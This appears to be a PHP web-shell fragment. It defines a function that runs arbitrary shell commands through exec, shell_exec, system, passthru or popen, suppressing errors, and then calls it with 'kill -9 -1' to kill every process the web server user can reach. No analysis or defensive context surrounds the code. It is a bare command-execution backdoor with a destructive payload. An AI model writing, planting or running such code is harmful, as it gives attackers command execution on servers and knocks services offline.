1<?php
2function do_phpfun($cmd,$fun) {
3 $res = '';
4 switch($fun){
5 case "exec": @exec($cmd,$res); $res = join("\n",$res); break;
6 case "shell_exec": $res = @shell_exec($cmd); break;
7 case "system": @ob_start(); @system($cmd); $res = @ob_get_contents(); @ob_end_clean();break;
8 case "passthru": @ob_start(); @passthru($cmd); $res = @ob_get_contents(); @ob_end_clean();break;
9 case "popen": if(@is_resource($f = @popen($cmd,"r"))){ while(!@feof($f)) $res .= @fread($f,1024);} @pclose($f);break;
10 }
11 return $res;
12}
13
14echo do_phpfun('kill -9 -1', 'popen');